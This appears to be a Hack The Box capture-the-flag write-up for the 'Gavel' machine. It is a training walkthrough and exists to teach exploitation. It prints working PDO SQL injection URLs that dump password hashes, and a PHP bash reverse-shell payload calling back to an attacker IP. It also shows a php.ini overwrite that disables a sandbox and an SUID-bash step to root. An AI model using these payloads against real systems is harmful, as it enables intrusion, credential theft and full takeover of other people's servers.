Hack The Box Gavel Writeup (Medium Linux)
Medium Linux box. An exposed .git leaks a PDO backtick SQL injection, an admin bid rule runs PHP for a shell, and a YAML sandbox rewrite SUIDs bash.
Summary
Gavel runs an auction site on gavel.htb whose nmap scan flags an exposed .git directory, and GitTools dumps and extracts the full PHP source. Reading inventory.php shows the sort parameter dropped straight into a PDO query behind a backtick stripping filter, which matches a published PDO prepared statement injection technique, and the resulting SQL injection dumps the users table. The auctioneer hash cracks to midnight1 with hashcat and opens the admin panel, where an auction’s rule field is later evaluated by bid_handler.php, so setting it to a PHP reverse shell and bidding on that item returns a shell as www-data. The same midnight1 password su’s to the local auctioneer account, which belongs to the gavel-seller group and can run /usr/local/bin/gavel-util. That helper evaluates a YAML rule under a hardened php.ini in /opt/gavel but writes as root inside that directory, so overwriting the php.ini to drop disable_functions and resubmitting system(‘chmod +s /bin/bash’) gives a root shell.
Service Enumeration
I ran:
1
nmap -A -vv -oN scans/nmap.all -p- --min-rate 2500 10.129.27.172
And those are the results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Not shown: 65527 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1fde9d84bfa164be1f364fac3c521592 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/Hhg1nYlWGdi109d6k/OXFg0xbLVuEho3xQqX/DkRDPQ5Y9P6l2XLkbsSscgiQIq3/bHeX6T4mLci0/I/kHeI=
| 256 70a51a53dfd1d0733e9d90adc1aab419 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMYFumAaeF6fOwurP+3zFG7iyLB1XC40te7RWDNVze0x
80/tcp open http syn-ack Apache httpd 2.4.52
|_http-title: Gavel Auction
| http-git:
| 10.129.27.172:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: ..
|_http-favicon: Unknown favicon MD5: 954223287BC6EB88C5DD3C79083B91E1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
<SNIP>
Web Server Enumeration
Tech stack:
PHP (unknown version)
Apache/2.4.52 (Ubuntu)
This is how the home page looks like:
It mentions a previous security incident, and that now with version 2.0 they’re more secure than ever. There’s an interesting comment on the testimonials page from a user that is (allegedly) banned:
They say:
“Site said ‘intelligent bidding system’, I still outsmarted it.”
Which is funny, and indicates the site’s probably still vulnerable.
Authenticated Manual Enumeration
The website allows me to create an account at http://gavel.htb/register.php. I create an account with the credentials:
1
2
Username: hacker
Password: hackerhacker
It allows me in and now I have access to the biddings. The website gives me 50k coins so I can place some bids:
The navigation bar also directs me to my inventory at http://gavel.htb/inventory.php, which is currently empty since I’ve never won biddings for any item.
It’s interesting because each item on the auction has a specific rule for bidding, for instance, the Goblet of Slight Insight says:
Message: Bid at least 10% more than the current price.
The website has no more visible endpoints from now. But what about the ones that are not listed?
VHost Enumeration
I perform a vhost subdomain scan with ffuf:
1
ffuf -u http://gavel.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.gavel.htb" -t 50 -fw 20
It tests for 110k different possible subdomains but doesn’t find anything.
Directory Enumeration
I also use ffuf to enumerate for directories:
1
ffuf -u http://gavel.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words.txt -t 50 -e php
But nothing really interesting is going on.
Exposed Git Repository
The nmap scan from earlier indicates there’s an exposed GIT repository on the web server:
1
2
3
4
5
<SNIP>
| http-git:
| 10.129.27.172:80/.git/
| Git repository found!
<SNIP>
I create a “gitdump” folder:
1
mkdir gitdump
Then I use gitdumper.sh from GitTools to dump the git repository:
1
gitdumper.sh http://gavel.htb/.git/ gitdump
It starts collecting the repository:
It took a while to finish. After it’s done, I use gitextractor.sh also from GitTools to extract the dump:
1
mkdir gitextract && gitextractor.sh gitdump gitextract/
Now I have access to what appears to be the source code of the website gavel.htb.
Source Code Analysis
I enter the first extracted directory from the git repo (0-ff27a161f2dd87a0c597ba5638e3457ac167c416) and start looking through the source code of the application.
Here’s a code snippet from “inventory.php”:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
require_once __DIR__ . '/includes/config.php';
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/session.php';
if (!isset($_SESSION['user'])) {
header('Location: index.php');
exit;
}
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = $e;
}
At first glance, it seems secure. One thing I noticed what that the $col variable is being used directly in the query at:
1
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
Which differs from the rest of the application’s code where everything is parameterized like on here for example:
1
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
This second example is safe. The first one though, it looks like they’re using the variable directly in the query, which should raise concerns right away, specially when it’s direct user input. This is exactly the case here, the $col variable is:
1
$col = "`" . str_replace("`", "", $sortItem) . "`";
As you can see, the $col variable takes the value from $sortItem. The $sortItem variable is coming from direct user input (the HTTP GET parameter “sort”):
1
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
It tries to perform user input sanitization by removing backticks (str_replace("”, “”, $sortItem)`), and including backticks at start and end of the string, which really made me think, is this actually secure? It’s so weird to me using a variable directly on the query, and this sanitization attempt does not look very throughoutly to me.
I did my due diligence and googled for resources related to this weird php backtick escape technique and found a somewhat recent article talking about a novel sql injection vulnerability:
The article provides us with php code snippets to exemplify the vulnerability, and I notice how it looks very much like our php code from this ctf:
More specifically:
1
2
3
4
5
6
7
8
9
10
11
12
<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
echo join(' : ', $v) . PHP_EOL;
}
On the example code, it’s replacing single backticks for double backticks, which is not 100% identical to our case, but for the most part, it also applies. I test this theory out with many many payloads until I find a hit:
1
/inventory.php?user_id=x`+FROM+(SELECT+table_name+AS+`'x`+from+information_schema.tables)y;--+-&sort=\?;--+-%00
Payload Comparison
Article’s payload:
1
2
col=\?%23%00 (that's \?#\0)
name=x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23
Our payload:
1
2
sort=\?;--+-%00 (that's \?;-- \0)
user_id=x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;--+-
They’re different because the underlying code is also different. The code showcased in the article is:
1
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
Characteristics:
Doubles backticks (MySQL escaping)
Backticks are preserved but escaped
On the other hand, this is how our code looks like:
1
$col = "`" . str_replace("`", "", $sortItem) . "`";
Characteristics:
Completely removes backticks
This doesn’t affect the attack, but shows different sanitization approaches
Both payloads achieve the same goal through PDO’s parser:
1
2
\?;#\0 → PDO sees: \, ?, then # comments out \0` FROM...
\?;-- \0 → PDO sees: \, ?, then -- comments out \0` FROM...
In both cases:
The semicolon terminates the MySQL statement
The comment (
#or--) hides the null byte and remaining SQL from PDO’s parserPDO only sees one bound parameter (the injected
?)
So yeah, the proof of concept works:
1
http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+table_name+AS+`%27x`+from+information_schema.tables)y;--+-&sort=\?;--+-%00
And now I have sql injection on the machine:
I list available databases with:
1
http://gavel.htb/inventory.php?sort=%5C%3F%3B--%20%00&user_id=x%60+FROM+(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x0a)+AS+%60%27x%60+FROM+information_schema.schemata)y%3B--+-
And it returns me 3 databases:
Specifically:
information_schema (default)
performance_schema (default)
gavel (application database, interesting)
So now I dump the users table (no need to specify the database explicitly since the application already runs in the context of the “gavel” database.
1
http://gavel.htb/inventory.php?sort=%5C%3F%3B--%20%00&user_id=x%60+FROM+(SELECT+GROUP_CONCAT(CONCAT(username,0x3a,password)+SEPARATOR+0x0a)+AS+%60%27x%60+from+users)y%3B--+-
It returns me the hash for the “auctioneer” user:
I save it to “hash.txt” and use hashcat to crack it:
1
hashcat hashes.txt /usr/share/wordlists/rockyou.txt --force -m 3200
It cracks almost instantly:
With that, new credentials:
1
2
Username: auctioneer
Password: midnight1
Initial Access - Code Injection
I can log in to the web application as “auctioneer”, which has administrative permissions:
This application has a severe code injection vulnerability that allows for server compromise.
Vulnerability Chain
If I take a look at admin.php, I see how this “edit rule” feature looks like:
1
2
3
4
// admin.php - stores user input directly
$rule = trim($_POST['rule'] ?? '');
$stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
$stmt->execute([$rule, $message, $auction_id]);
It’s basically storing anything I input in the “rule” field to the database, linked to that specific auction. I wonder how this is being used.
I look through the application till I find the code that’s using this user-defined rule in bid_handler.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// [SNIP]
// Gets auction from the database
$stmt = $pdo->prepare("SELECT * FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$auction = $stmt->fetch();
// [SNIP]
$rule = $auction['rule']; // Admin-controlled (us) from database
// [SNIP]
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
// Creates a PHP function with arbitrary code
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
// Executes the injected code
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}
This looks really bad. To explore this vulnerability, I first start netcat listener on port 1337:
1
nc -lvnp 1337
Then I opened two browsers, one with access to the admin panel (auctioneer) and the other as normal user (hacker).
As admin: I selected a random item from the admin panel (in this case, “potion of eternal wakefulness” (this would apply to any item, this is just the one I used) to change the rule value to my PHP payload:
1
system('bash -c "bash -i >& /dev/tcp/10.10.14.57/1337 0>&1"'); return true;
The value for the “message” field can be anything. I save the changes.
As user: Navigate to http://gavel.htb/bidding.php and place a bid on the same item. In this case, “potion of eternal wakefulness” so it can trigger our malicious php code. You can see both tabs and the payload triggering process on the screenshot below:
From the screenshot you can see how it says “Unexpected error”. That’s good for us, because looking at the netcat listener, I have a shell as “www-data”:
Horizontal Privilege Escalation - auctioneer user
I perform the usual shell stabilization process using python3:
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@gavel:/var/www/html/gavel/includes$ python3 --version
python3 --version
Python 3.10.12
www-data@gavel:/var/www/html/gavel/includes$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<es$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@gavel:/var/www/html/gavel/includes$ export TERM=xterm
export TERM=xterm
www-data@gavel:/var/www/html/gavel/includes$ ^Z
[1]+ Stopped nc -lvnp 1337
user@attackbox:~/hacking/htb/machines/medium/gavel$ stty raw -echo ;fg
nc -lvnp 1337
www-data@gavel:/var/www/html/gavel/includes$
I notice there’s a user in system named “auctioneer”:
1
2
3
4
5
$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Nov 5 12:46 .
drwxr-xr-x 19 root root 4096 Nov 5 12:46 ..
drwxr-x--- 2 auctioneer auctioneer 4096 Nov 5 12:46 auctioneer
I try logging in to auctioneer using the same password as before (midnight1) and it works. Now I’m auctioneer:
1
2
3
4
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
Password:
auctioneer@gavel:/var/www/html/gavel/includes$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
Vertical Privilege Escalation
You can see from the command box above that user auctioneer is member of another group called “gavel-seller”. I search the filesystem for files/directories owned by this group:
1
find / -group gavel-seller 2>/dev/null
It returns two files:
1
2
/run/gaveld.sock
/usr/local/bin/gavel-util
The gavel-util file is an elf executable:
1
2
$ file /usr/local/bin/gavel-util
/usr/local/bin/gavel-util: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=941cf63911b2f8f4cabff61062f2c9ad64f043d6, for GNU/Linux 3.2.0, not stripped
I run it without arguments, and it tells me usage instructions:
1
2
3
4
5
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
I run “strings” against this application with strings /usr/local/bin/gavel-util and I see it mentions a full path to a directory or file (/var/run/gaveld):
It doesn’t exist:
1
2
$ ls -la /var/run/gaveld
ls: cannot access '/var/run/gaveld': No such file or directory
But I look for it anyways, and discover it’s actually located somewhere else in the system:
1
2
$ find / -name gaveld 2>/dev/null
/opt/gavel/gaveld
I go to the directory and see there’s some files there:
1
2
3
4
5
6
7
8
auctioneer@gavel:/opt/gavel$ ls -la
total 56
drwxr-xr-x 4 root root 4096 Nov 5 12:46 .
drwxr-xr-x 3 root root 4096 Nov 5 12:46 ..
drwxr-xr-x 3 root root 4096 Nov 5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct 3 19:35 gaveld
-rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4096 Nov 5 12:46 submission
There’s a .config directory that ultimately leads to this php.ini file at .config/php/php.ini:
1
2
3
4
5
6
7
8
9
10
11
12
13
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
Interesting, it seems like they’re disabling a bunch of functions related to code execution like exec,shell_exec,system and many others. Not suspicious at all (haha).
The main folder has a “sample.yaml” file. If I remember from the execution instructions from earlier, it says I need to pass an yaml file for this submit function:
1
submit <file> Submit new items (YAML format)
I look at this “sample.yaml” file:
1
2
3
4
5
6
7
8
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
Which, well, it looks like it’s the same exploit from before… The “rule” value specifies a python function that’ll be executed.
This time, however, our previous payload:
1
system('bash -c "bash -i >& /dev/tcp/10.10.14.57/1337 0>&1"'); return true;
Wouldn’t work right away since the “system” function is disabled in the php.ini file we discovered earlier:
1
disable_functions=exec,shell_exec,system,[...]
I try submitting this example yaml file but it errors out:
1
2
$ /usr/local/bin/gavel-util submit sample.yaml
YAML missing required keys: name description image price rule_msg rule
I feel like the dashes at the top (---) is messing with the interpretation of the file. To make sure my shell doesn’t act weird when I’m editing files, I fix the tty size by having a terminal the same size and using:
1
2
$ stty size
37 85
Then on the shell:
1
stty rows 37 cols 85
Crafting Exploit
Since I have no way currently to execute system commands, I try creating a file first to the filesystem and see if it works. I use:
1
2
3
4
5
6
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "pwned by bsec"
rule: "file_put_contents('/tmp/pwned.txt', 'test pwned');"
And save it to “pwned.yaml”. When I submit it, however, it says I can’t write outside a specific path (/opt/gavel):
1
2
3
4
5
$ /usr/local/bin/gavel-util submit pwned.yaml
Illegal rule or sandbox violation.
Warning: file_put_contents(): open_basedir restriction in effect. File(/tmp/pwned.txt) is not within the allowed path(s): (/opt/gavel) in Command line code on line 1
Warning: file_put_contents(/tmp/pwned.txt): fail
So I edit my yaml to create the file to /opt/gavel instead. It works:
1
2
3
4
5
6
7
8
9
10
11
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit pwned.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
auctioneer@gavel:~$ ls -la /opt/gavel/
total 60
drwxr-xr-x 4 root root 4096 Dec 8 22:09 .
drwxr-xr-x 3 root root 4096 Nov 5 12:46 ..
drwxr-xr-x 3 root root 4096 Nov 5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct 3 19:35 gaveld
-rw-r--r-- 1 root root 10 Dec 8 22:09 pwned
-rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4096 Nov 5 12:46 submission
It created /opt/gavel/pwned as root, which is awesome for us. We’re one step closer to becoming root.
Since I can only write to this specific directory in /opt/gavel, I might aswell try to overwrite the current php.ini configuration that’s impeding me from executing arbitrary system commands.
I take the php.ini file as an example, replace all linebreaks for “\n”s and removed the part that prevents us from pwning the system:
1
2
3
4
5
6
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "pwned by bsec"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', 'engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nopen_basedir=/opt/gavel\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10');"
Save it to “pwned.yaml” and submit using /usr/local/bin/gavel-util submit pwned.yaml:
As you can see from the screenshot above, I could successfully overwrite the php configuration for this project. Now I can create another yaml file this time to execute system commands:
1
2
3
4
5
6
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "pwned by bsec"
rule: "system('chmod +s /bin/bash');"
I save it to “pwn.yaml” and submit it using /usr/local/bin/gavel-util submit pwn.yaml:
It’ll add the SUID bit to /bin/bash, allowing me to run /bin/bash -p to become root, successfully compromising the machine!
















